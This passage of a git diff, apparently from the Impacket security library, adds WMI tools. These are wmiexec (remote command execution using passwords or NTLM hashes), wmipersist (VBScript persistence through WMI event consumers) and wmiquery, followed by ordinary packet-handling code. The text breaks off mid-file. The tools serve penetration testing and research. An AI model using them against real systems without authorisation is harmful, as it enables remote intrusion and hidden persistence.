AuthFileSyntaxError(Exception): + '''raised by load_smbclient_auth_file if it encounters a syntax error + while loading the smbclient-style authentication file.''' + + def __init__(self, path, lineno, reason): + self.path = path + self.lineno = lineno + self.reason = reason + + def __str__(self): + return 'Syntax error in auth file %s line %d: %s' % ( + self.path, self.lineno, self.reason) + + +def load_smbclient_auth_file(path): + '''Load credentials from an smbclient-style authentication file (used by + smbclient, mount.cifs and others). returns (domain, username, password) + or raises AuthFileSyntaxError or any I/O exceptions.''' + + lineno = 0 + domain = None + username = None + password = None + for line in open(path): + lineno += 1 + + line = line.strip() + + if line.startswith('#') or line == '': + continue + + parts = line.split('=', 1) + if len(parts) != 2: + raise AuthFileSyntaxError(path, lineno, 'No "=" present in line') + + (k, v) = (parts[0].strip(), parts[1].strip()) + + if k == 'username': + username = v + elif k == 'password': + password = v + elif k == 'domain': + domain = v + else: + raise AuthFileSyntaxError(path, lineno, 'Unknown option %s' % repr(k)) + + return (domain, username, password) + + +# Process command-line arguments. +if __name__ == '__main__': + print(version.BANNER) + + parser = argparse.ArgumentParser(add_help=True, description="Executes a semi-interactive shell using Windows " + "Management Instrumentation.") + parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') + parser.add_argument('-share', action='store', default='ADMIN$', help='share where the output will be grabbed from ' + '(default ADMIN$)') + parser.add_argument('-nooutput', action='store_true', default=False, help='whether or not to print the output ' + '(no SMB connection created)') + parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') + parser.add_argument('-silentcommand', action='store_true', default=False, + help='does not execute cmd.exe to run given command (no output)') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\'s output (default ' + '"%s"). If errors are detected, run chcp.com at the target, ' + 'map the result with ' + 'https://docs.python.org/3/library/codecs.html#standard-encodings and then execute wmiexec.py ' + 'again with -codec and the corresponding codec ' % CODEC) + parser.add_argument('-shell-type', action='store', default='cmd', choices=['cmd', 'powershell'], + help='choose a command processor for the semi-interactive shell') + parser.add_argument('-com-version', action='store', metavar="MAJOR_VERSION:MINOR_VERSION", + help='DCOM version, format is MAJOR_VERSION:MINOR_VERSION e.g. 5.7') + parser.add_argument('command', nargs='*', default=' ', help='command to execute at the target. If empty it will ' + 'launch a semi-interactive shell') + + group = parser.add_argument_group('authentication') + + group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", + help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' + 'ones specified in the command line') + group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + group.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller. If ' + 'ommited it use the domain part (FQDN) specified in the target parameter') + group.add_argument('-A', action="store", metavar="authfile", help="smbclient/mount.cifs-style authentication file. " + "See smbclient man page's -A option.") + group.add_argument('-keytab', action="store", help='Read keys for SPN from keytab file') + + if len(sys.argv) == 1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + # Init the example's logger theme + logger.init(options.ts) + + if options.codec is not None: + CODEC = options.codec + else: + if CODEC is None: + CODEC = 'utf-8' + + if ' '.join(options.command) == ' ' and options.nooutput is True: + logging.error("-nooutput switch and interactive shell not supported") + sys.exit(1) + if options.silentcommand and options.command == ' ': + logging.error("-silentcommand switch and interactive shell not supported") + sys.exit(1) + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + + if options.com_version is not None: + try: + major_version, minor_version = options.com_version.split('.') + COMVERSION.set_default_version(int(major_version), int(minor_version)) + except Exception: + logging.error("Wrong COMVERSION format, use dot separated integers e.g. \"5.7\"") + sys.exit(1) + + domain, username, password, address = parse_target(options.target) + + try: + if options.A is not None: + (domain, username, password) = load_smbclient_auth_file(options.A) + logging.debug('loaded smbclient auth file: domain=%s, username=%s, password=%s' % ( + repr(domain), repr(username), repr(password))) + + if domain is None: + domain = '' + + if options.keytab is not None: + Keytab.loadKeysFromKeytab(options.keytab, username, domain, options) + options.k = True + + if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: + from getpass import getpass + + password = getpass("Password:") + + if options.aesKey is not None: + options.k = True + + executer = WMIEXEC(' '.join(options.command), username, password, domain, options.hashes, options.aesKey, + options.share, options.nooutput, options.k, options.dc_ip, options.shell_type) + executer.run(address, options.silentcommand) + except KeyboardInterrupt as e: + logging.error(str(e)) + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + + traceback.print_exc() + logging.error(str(e)) + sys.exit(1) + + sys.exit(0) diff --git a/examples/wmipersist.py b/examples/wmipersist.py new file mode 100644 index 0000000..cc8afc8 --- /dev/null +++ b/examples/wmipersist.py @@ -0,0 +1,252 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# This script creates/removes a WMI Event Consumer/Filter and link +# between both to execute Visual Basic based on the WQL filter +# or timer specified. +# +# Example: +# +# write a file toexec.vbs the following: +# Dim objFS, objFile +# Set objFS = CreateObject("Scripting.FileSystemObject") +# Set objFile = objFS.OpenTextFile("C:\ASEC.log", 8, true) +# objFile.WriteLine "Hey There!" +# objFile.Close +# +# then execute this script this way, VBS will be triggered once +# somebody opens calc.exe: +# +# wmipersist.py domain.net/adminuser:mypwd@targetHost install -name ASEC +# -vbs toexec.vbs +# -filter 'SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance +# ISA "Win32_Process" AND TargetInstance.Name = "calc.exe"' +# +# or, if you just want to execute the VBS every XXX milliseconds: +# +# wmipersist.py domain.net/adminuser:mypwd@targetHost install -name ASEC +# -vbs toexec.vbs -timer XXX +# +# to remove the event: +# wmipersist.py domain.net/adminuser:mypwd@targetHost remove -name ASEC +# +# if you don't specify the password, it will be asked by the script. +# domain is optional. +# +# Author: +# beto (@agsolino) +# +# Reference for: +# DCOM/WMI +# + +from __future__ import division +from __future__ import print_function +import sys +import argparse +import logging + +from impacket.examples import logger +from impacket.examples.utils import parse_target +from impacket import version +from impacket.dcerpc.v5.dcomrt import DCOMConnection, COMVERSION +from impacket.dcerpc.v5.dcom import wmi +from impacket.dcerpc.v5.dtypes import NULL + + +class WMIPERSISTENCE: + def __init__(self, username='', password='', domain='', options=None): + self.__username = username + self.__password = password + self.__domain = domain + self.__options = options + self.__lmhash = '' + self.__nthash = '' + if options.hashes is not None: + self.__lmhash, self.__nthash = options.hashes.split(':') + + @staticmethod + def checkError(banner, resp): + call_status = resp.GetCallStatus(0) & 0xffffffff # interpret as unsigned + if call_status != 0: + from impacket.dcerpc.v5.dcom.wmi import WBEMSTATUS + try: + error_name = WBEMSTATUS.enumItems(call_status).name + except ValueError: + error_name = 'Unknown' + logging.error('%s - ERROR: %s (0x%08x)' % (banner, error_name, call_status)) + else: + logging.info('%s - OK' % banner) + + def run(self, addr): + dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, + options.aesKey, oxidResolver=False, doKerberos=options.k, kdcHost=options.dc_ip) + + iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) + iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) + iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/subscription', NULL, NULL) + iWbemLevel1Login.RemRelease() + + if self.__options.action.upper() == 'REMOVE': + self.checkError('Removing ActiveScriptEventConsumer %s' % self.__options.name, + iWbemServices.DeleteInstance('ActiveScriptEventConsumer.Name="%s"' % self.__options.name)) + + self.checkError('Removing EventFilter EF_%s' % self.__options.name, + iWbemServices.DeleteInstance('__EventFilter.Name="EF_%s"' % self.__options.name)) + + self.checkError('Removing IntervalTimerInstruction TI_%s' % self.__options.name, + iWbemServices.DeleteInstance( + '__IntervalTimerInstruction.TimerId="TI_%s"' % self.__options.name)) + + self.checkError('Removing FilterToConsumerBinding %s' % self.__options.name, + iWbemServices.DeleteInstance( + r'__FilterToConsumerBinding.Consumer="ActiveScriptEventConsumer.Name=\"%s\"",' + r'Filter="__EventFilter.Name=\"EF_%s\""' % ( + self.__options.name, self.__options.name))) + else: + activeScript, _ = iWbemServices.GetObject('ActiveScriptEventConsumer') + activeScript = activeScript.SpawnInstance() + activeScript.Name = self.__options.name + activeScript.ScriptingEngine = 'VBScript' + activeScript.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0] + activeScript.ScriptText = options.vbs.read() + self.checkError('Adding ActiveScriptEventConsumer %s'% self.__options.name, + iWbemServices.PutInstance(activeScript.marshalMe())) + + if options.filter is not None: + eventFilter, _ = iWbemServices.GetObject('__EventFilter') + eventFilter = eventFilter.SpawnInstance() + eventFilter.Name = 'EF_%s' % self.__options.name + eventFilter.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0] + eventFilter.Query = options.filter + eventFilter.QueryLanguage = 'WQL' + eventFilter.EventNamespace = r'root\cimv2' + self.checkError('Adding EventFilter EF_%s' % self.__options.name, + iWbemServices.PutInstance(eventFilter.marshalMe())) + + else: + wmiTimer, _ = iWbemServices.GetObject('__IntervalTimerInstruction') + wmiTimer = wmiTimer.SpawnInstance() + wmiTimer.TimerId = 'TI_%s' % self.__options.name + wmiTimer.IntervalBetweenEvents = int(self.__options.timer) + #wmiTimer.SkipIfPassed = False + self.checkError('Adding IntervalTimerInstruction', + iWbemServices.PutInstance(wmiTimer.marshalMe())) + + eventFilter,_ = iWbemServices.GetObject('__EventFilter') + eventFilter = eventFilter.SpawnInstance() + eventFilter.Name = 'EF_%s' % self.__options.name + eventFilter.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0] + eventFilter.Query = 'select * from __TimerEvent where TimerID = "TI_%s" ' % self.__options.name + eventFilter.QueryLanguage = 'WQL' + eventFilter.EventNamespace = r'root\subscription' + self.checkError('Adding EventFilter EF_%s' % self.__options.name, + iWbemServices.PutInstance(eventFilter.marshalMe())) + + filterBinding, _ = iWbemServices.GetObject('__FilterToConsumerBinding') + filterBinding = filterBinding.SpawnInstance() + filterBinding.Filter = '__EventFilter.Name="EF_%s"' % self.__options.name + filterBinding.Consumer = 'ActiveScriptEventConsumer.Name="%s"' % self.__options.name + filterBinding.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0] + + self.checkError('Adding FilterToConsumerBinding', + iWbemServices.PutInstance(filterBinding.marshalMe())) + + dcom.disconnect() + + +# Process command-line arguments. +if __name__ == '__main__': + # Init the example's logger theme + logger.init() + print(version.BANNER) + + parser = argparse.ArgumentParser(add_help = True, description = "Creates/Removes a WMI Event Consumer/Filter and " + "link between both to execute Visual Basic based on the WQL filter or timer specified.") + + parser.add_argument('target', action='store', help='[domain/][username[:password]@]
') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + parser.add_argument('-com-version', action='store', metavar = "MAJOR_VERSION:MINOR_VERSION", help='DCOM version, ' + 'format is MAJOR_VERSION:MINOR_VERSION e.g. 5.7') + subparsers = parser.add_subparsers(help='actions', dest='action') + + # A start command + install_parser = subparsers.add_parser('install', help='installs the wmi event consumer/filter') + install_parser.add_argument('-name', action='store', required=True, help='event name') + install_parser.add_argument('-vbs', type=argparse.FileType('r'), required=True, help='VBS filename containing the ' + 'script you want to run') + install_parser.add_argument('-filter', action='store', required=False, help='the WQL filter string that will trigger' + ' the script') + install_parser.add_argument('-timer', action='store', required=False, help='the amount of milliseconds after the' + ' script will be triggered') + + # A stop command + remove_parser = subparsers.add_parser('remove', help='removes the wmi event consumer/filter') + remove_parser.add_argument('-name', action='store', required=True, help='event name') + + group = parser.add_argument_group('authentication') + + group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' + 'ones specified in the command line') + group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' + 'ommited it use the domain part (FQDN) specified in the target parameter') + + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + + if options.com_version is not None: + try: + major_version, minor_version = options.com_version.split('.') + COMVERSION.set_default_version(int(major_version), int(minor_version)) + except Exception: + logging.error("Wrong COMVERSION format, use dot separated integers e.g. \"5.7\"") + sys.exit(1) + + if options.action.upper() == 'INSTALL': + if (options.filter is None and options.timer is None) or (options.filter is not None and options.timer is not None): + logging.error("You have to either specify -filter or -timer (and not both)") + sys.exit(1) + + domain, username, password, address = parse_target(options.target) + + try: + if domain is None: + domain = '' + + if options.aesKey is not None: + options.k = True + + if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: + from getpass import getpass + password = getpass("Password:") + + executer = WMIPERSISTENCE(username, password, domain, options) + executer.run(address) + except (Exception, KeyboardInterrupt) as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + logging.error(e) + sys.exit(0) diff --git a/examples/wmiquery.py b/examples/wmiquery.py new file mode 100644 index 0000000..0e97552 --- /dev/null +++ b/examples/wmiquery.py @@ -0,0 +1,225 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# [MS-WMI] example. It allows to issue WQL queries and +# get description of the objects. +# +# e.g.: select name from win32_account +# e.g.: describe win32_process +# +# Author: +# Alberto Solino (@agsolino) +# +# Reference for: +# DCOM +# + +from __future__ import division +from __future__ import print_function +import argparse +import sys +import os +import logging + +from impacket.examples import logger +from impacket.examples.utils import parse_target +from impacket import version +from impacket.dcerpc.v5.dtypes import NULL +from impacket.dcerpc.v5.dcom import wmi +from impacket.dcerpc.v5.dcomrt import DCOMConnection, COMVERSION +from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY + +if __name__ == '__main__': + import cmd + + class WMIQUERY(cmd.Cmd): + def __init__(self, iWbemServices): + cmd.Cmd.__init__(self) + self.iWbemServices = iWbemServices + self.prompt = 'WQL> ' + self.intro = '[!] Press help for extra shell commands' + + def do_help(self, line): + print(""" + lcd {path} - changes the current local directory to {path} + exit - terminates the server process (and this session) + describe {class} - describes class + ! {cmd} - executes a local shell cmd + """) + + def do_shell(self, s): + os.system(s) + + def do_describe(self, sClass): + sClass = sClass.strip('\n') + if sClass[-1:] == ';': + sClass = sClass[:-1] + try: + iObject, _ = self.iWbemServices.GetObject(sClass) + iObject.printInformation() + iObject.RemRelease() + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + logging.error(str(e)) + + def do_lcd(self, s): + if s == '': + print(os.getcwd()) + else: + os.chdir(s) + + def printReply(self, iEnum): + printHeader = True + while True: + try: + pEnum = iEnum.Next(0xffffffff,1)[0] + record = pEnum.getProperties() + if printHeader is True: + print('|', end=' ') + for col in record: + print('%s |' % col, end=' ') + print() + printHeader = False + print('|', end=' ') + for key in record: + if type(record[key]['value']) is list: + for item in record[key]['value']: + print(item, end=' ') + print(' |', end=' ') + else: + print('%s |' % record[key]['value'], end=' ') + print() + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + if str(e).find('S_FALSE') < 0: + raise + else: + break + iEnum.RemRelease() + + def default(self, line): + line = line.strip('\n') + if line[-1:] == ';': + line = line[:-1] + try: + iEnumWbemClassObject = self.iWbemServices.ExecQuery(line.strip('\n')) + self.printReply(iEnumWbemClassObject) + iEnumWbemClassObject.RemRelease() + except Exception as e: + logging.error(str(e)) + + def emptyline(self): + pass + + def do_exit(self, line): + return True + + # Init the example's logger theme + logger.init() + + + parser = argparse.ArgumentParser(add_help = True, description = "Executes WQL queries and gets object descriptions " + "using Windows Management Instrumentation.") + parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') + parser.add_argument('-namespace', action='store', default='//./root/cimv2', help='namespace name (default //./root/cimv2)') + parser.add_argument('-file', type=argparse.FileType('r'), help='input file with commands to execute in the WQL shell') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + parser.add_argument('-com-version', action='store', metavar = "MAJOR_VERSION:MINOR_VERSION", help='DCOM version, ' + 'format is MAJOR_VERSION:MINOR_VERSION e.g. 5.7') + + group = parser.add_argument_group('authentication') + + group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' + 'ones specified in the command line') + group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' + 'ommited it use the domain part (FQDN) specified in the target parameter') + group.add_argument('-rpc-auth-level', choices=['integrity', 'privacy','default'], nargs='?', default='default', + help='default, integrity (RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) or privacy ' + '(RPC_C_AUTHN_LEVEL_PKT_PRIVACY). For example CIM path "root/MSCluster" would require ' + 'privacy level by default)') + + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + + if options.com_version is not None: + try: + major_version, minor_version = options.com_version.split('.') + COMVERSION.set_default_version(int(major_version), int(minor_version)) + except Exception: + logging.error("Wrong COMVERSION format, use dot separated integers e.g. \"5.7\"") + sys.exit(1) + + domain, username, password, address = parse_target(options.target) + + if domain is None: + domain = '' + + if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: + from getpass import getpass + password = getpass("Password:") + + if options.aesKey is not None: + options.k = True + + if options.hashes is not None: + lmhash, nthash = options.hashes.split(':') + else: + lmhash = '' + nthash = '' + + try: + dcom = DCOMConnection(address, username, password, domain, lmhash, nthash, options.aesKey, oxidResolver=True, + doKerberos=options.k, kdcHost=options.dc_ip) + + iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) + iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) + iWbemServices= iWbemLevel1Login.NTLMLogin(options.namespace, NULL, NULL) + if options.rpc_auth_level == 'privacy': + iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) + elif options.rpc_auth_level == 'integrity': + iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) + + iWbemLevel1Login.RemRelease() + + shell = WMIQUERY(iWbemServices) + if options.file is None: + shell.cmdloop() + else: + for line in options.file.readlines(): + print("WQL> %s" % line, end=' ') + shell.onecmd(line) + + iWbemServices.RemRelease() + dcom.disconnect() + except Exception as e: + logging.error(str(e)) + try: + dcom.disconnect() + except: + pass diff --git a/impacket/Dot11Crypto.py b/impacket/Dot11Crypto.py new file mode 100644 index 0000000..1bf9d70 --- /dev/null +++ b/impacket/Dot11Crypto.py @@ -0,0 +1,38 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# IEEE 802.11 Network packet codecs. +# +# Author: +# Gustavo Moreira +# + +class RC4(): + def __init__(self, key): + bkey = bytearray(key) + j = 0 + self.state = bytearray(range(256)) + for i in range(256): + j = (j + self.state[i] + bkey[i % len(key)]) & 0xff + self.state[i],self.state[j] = self.state[j],self.state[i] # SSWAP(i,j) + + def encrypt(self, data): + i = j = 0 + out=bytearray() + for char in bytearray(data): + i = (i+1) & 0xff + j = (j+self.state[i]) & 0xff + self.state[i],self.state[j] = self.state[j],self.state[i] # SSWAP(i,j) + out.append(char ^ self.state[(self.state[i] + self.state[j]) & 0xff]) + + return bytes(out) + + def decrypt(self, data): + # It's symmetric + return self.encrypt(data) diff --git a/impacket/Dot11KeyManager.py b/impacket/Dot11KeyManager.py new file mode 100644 index 0000000..53515c4 --- /dev/null +++ b/impacket/Dot11KeyManager.py @@ -0,0 +1,56 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# IEEE 802.11 Network packet codecs. +# +# Author: +# Gustavo Moreira + +from array import array +class KeyManager: + def __init__(self): + self.keys = {} + + def __get_bssid_hasheable_type(self, bssid): + # List is an unhashable type + if not isinstance(bssid, (list,tuple,array)): + raise Exception('BSSID datatype must be a tuple, list or array') + return tuple(bssid) + + def add_key(self, bssid, key): + bssid=self.__get_bssid_hasheable_type(bssid) + if bssid not in self.keys: + self.keys[bssid] = key + return True + else: + return False + + def replace_key(self, bssid, key): + bssid=self.__get_bssid_hasheable_type(bssid) + self.keys[bssid] = key + + return True + + def get_key(self, bssid): + bssid=self.__get_bssid_hasheable_type(bssid) + if bssid in self.keys: + return self.keys[bssid] + else: + return False + + def delete_key(self, bssid): + bssid=self.__get_bssid_hasheable_type(bssid) + if not isinstance(bssid, list): + raise Exception('BSSID datatype must be a list') + + if bssid in self.keys: + del self.keys[bssid] + return True + + return False diff --git a/impacket/ICMP6.py b/impacket/ICMP6.py new file mode 100644 index 0000000..fc7e7d8 --- /dev/null +++ b/impacket/ICMP6.py @@ -0,0 +1,528 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# + +import array +import struct + +from impacket.ImpactPacket import Header, Data, array_tobytes +from impacket.IP6_Address import IP6_Address + + +class ICMP6(Header): + #IP Protocol number for ICMP6 + IP_PROTOCOL_NUMBER = 58 + protocol = IP_PROTOCOL_NUMBER #ImpactDecoder uses the constant "protocol" as the IP Protocol Number + + #Size of ICMP6 header (excluding payload) + HEADER_SIZE = 4 + + #ICMP6 Message Type numbers + DESTINATION_UNREACHABLE = 1 + PACKET_TOO_BIG = 2 + TIME_EXCEEDED = 3 + PARAMETER_PROBLEM = 4 + ECHO_REQUEST = 128 + ECHO_REPLY = 129 + ROUTER_SOLICITATION = 133 + ROUTER_ADVERTISEMENT = 134 + NEIGHBOR_SOLICITATION = 135 + NEIGHBOR_ADVERTISEMENT = 136 + REDIRECT_MESSAGE = 137 + NODE_INFORMATION_QUERY = 139 + NODE_INFORMATION_REPLY = 140 + + #Destination Unreachable codes + NO_ROUTE_TO_DESTINATION = 0 + ADMINISTRATIVELY_PROHIBITED = 1 + BEYOND_SCOPE_OF_SOURCE_ADDRESS = 2 + ADDRESS_UNREACHABLE = 3 + PORT_UNREACHABLE = 4 + SOURCE_ADDRESS_FAILED_INGRESS_EGRESS_POLICY = 5 + REJECT_ROUTE_TO_DESTINATION = 6 + + #Time Exceeded codes + HOP_LIMIT_EXCEEDED_IN_TRANSIT = 0 + FRAGMENT_REASSEMBLY_TIME_EXCEEDED = 1 + + #Parameter problem codes + ERRONEOUS_HEADER_FIELD_ENCOUNTERED = 0 + UNRECOGNIZED_NEXT_HEADER_TYPE_ENCOUNTERED = 1 + UNRECOGNIZED_IPV6_OPTION_ENCOUNTERED = 2 + + #Node Information codes + NODE_INFORMATION_QUERY_IPV6 = 0 + NODE_INFORMATION_QUERY_NAME_OR_EMPTY = 1 + NODE_INFORMATION_QUERY_IPV4 = 2 + NODE_INFORMATION_REPLY_SUCCESS = 0 + NODE_INFORMATION_REPLY_REFUSED = 1 + NODE_INFORMATION_REPLY_UNKNOWN_QTYPE = 2 + + #Node Information qtypes + NODE_INFORMATION_QTYPE_NOOP = 0 + NODE_INFORMATION_QTYPE_UNUSED = 1 + NODE_INFORMATION_QTYPE_NODENAME = 2 + NODE_INFORMATION_QTYPE_NODEADDRS = 3 + NODE_INFORMATION_QTYPE_IPv4ADDRS = 4 + + #ICMP Message semantic types (error or informational) + ERROR_MESSAGE = 0 + INFORMATIONAL_MESSAGE = 1 + + #ICMP message dictionary - specifying text descriptions and valid message codes + #Key: ICMP message number + #Data: Tuple ( Message Type (error/informational), Text description, Codes dictionary (can be None) ) + #Codes dictionary + #Key: Code number + #Data: Text description + + #ICMP message dictionary tuple indexes + MSG_TYPE_INDEX = 0 + DESCRIPTION_INDEX = 1 + CODES_INDEX = 2 + + icmp_messages = { + DESTINATION_UNREACHABLE : (ERROR_MESSAGE, "Destination unreachable", + { NO_ROUTE_TO_DESTINATION : "No route to destination", + ADMINISTRATIVELY_PROHIBITED : "Administratively prohibited", + BEYOND_SCOPE_OF_SOURCE_ADDRESS : "Beyond scope of source address", + ADDRESS_UNREACHABLE : "Address unreachable", + PORT_UNREACHABLE : "Port unreachable", + SOURCE_ADDRESS_FAILED_INGRESS_EGRESS_POLICY : "Source address failed ingress/egress policy", + REJECT_ROUTE_TO_DESTINATION : "Reject route to destination" + }), + PACKET_TOO_BIG : (ERROR_MESSAGE, "Packet too big", None), + TIME_EXCEEDED : (ERROR_MESSAGE, "Time exceeded", + {HOP_LIMIT_EXCEEDED_IN_TRANSIT : "Hop limit exceeded in transit", + FRAGMENT_REASSEMBLY_TIME_EXCEEDED : "Fragment reassembly time exceeded" + }), + PARAMETER_PROBLEM : (ERROR_MESSAGE, "Parameter problem", + { + ERRONEOUS_HEADER_FIELD_ENCOUNTERED : "Erroneous header field encountered", + UNRECOGNIZED_NEXT_HEADER_TYPE_ENCOUNTERED : "Unrecognized Next Header type encountered", + UNRECOGNIZED_IPV6_OPTION_ENCOUNTERED : "Unrecognized IPv6 Option Encountered" + }), + ECHO_REQUEST : (INFORMATIONAL_MESSAGE, "Echo request", None), + ECHO_REPLY : (INFORMATIONAL_MESSAGE, "Echo reply", None), + ROUTER_SOLICITATION : (INFORMATIONAL_MESSAGE, "Router Solicitation", None), + ROUTER_ADVERTISEMENT : (INFORMATIONAL_MESSAGE, "Router Advertisement", None), + NEIGHBOR_SOLICITATION : (INFORMATIONAL_MESSAGE, "Neighbor Solicitation", None), + NEIGHBOR_ADVERTISEMENT : (INFORMATIONAL_MESSAGE, "Neighbor Advertisement", None), + REDIRECT_MESSAGE : (INFORMATIONAL_MESSAGE, "Redirect Message", None), + NODE_INFORMATION_QUERY: (INFORMATIONAL_MESSAGE, "Node Information Query", None), + NODE_INFORMATION_REPLY: (INFORMATIONAL_MESSAGE, "Node Information Reply", None), + } + + + + +############################################################################ + def __init__(self, buffer = None): + Header.__init__(self, self.HEADER_SIZE) + if (buffer): + self.load_header(buffer) + + def get_header_size(self): + return self.HEADER_SIZE + + def get_ip_protocol_number(self): + return self.IP_PROTOCOL_NUMBER + + def __str__(self): + type = self.get_type() + code = self.get_code() + checksum = self.get_checksum() + + s = "ICMP6 - Type: " + str(type) + " - " + self.__get_message_description() + "\n" + s += "Code: " + str(code) + if (self.__get_code_description() != ""): + s += " - " + self.__get_code_description() + s += "\n" + s += "Checksum: " + str(checksum) + "\n" + return s + + def __get_message_description(self): + return self.icmp_messages[self.get_type()][self.DESCRIPTION_INDEX] + + def __get_code_description(self): + code_dictionary = self.icmp_messages[self.get_type()][self.CODES_INDEX] + if (code_dictionary is None): + return "" + else: + return code_dictionary[self.get_code()] + +############################################################################ + def get_type(self): + return (self.get_byte(0)) + + def get_code(self): + return (self.get_byte(1)) + + def get_checksum(self): + return (self.get_word(2)) + +############################################################################ + def set_type(self, type): + self.set_byte(0, type) + + def set_code(self, code): + self.set_byte(1, code) + + def set_checksum(self, checksum): + self.set_word(2, checksum) + +############################################################################ + def calculate_checksum(self): + #Initialize the checksum value to 0 to yield a correct calculation + self.set_checksum(0) + #Fetch the pseudo header from the IP6 parent packet + pseudo_header = self.parent().get_pseudo_header() + #Fetch the ICMP data + icmp_header = self.get_bytes() + #Build an array of bytes concatenating the pseudo_header, the ICMP header and the ICMP data (if present) + checksum_array = array.array('B') + checksum_array.extend(pseudo_header) + checksum_array.extend(icmp_header) + if (self.child()): + checksum_array.extend(self.child().get_bytes()) + + #Compute the checksum over that array + self.set_checksum(self.compute_checksum(checksum_array)) + + def is_informational_message(self): + return self.icmp_messages[self.get_type()][self.MSG_TYPE_INDEX] == 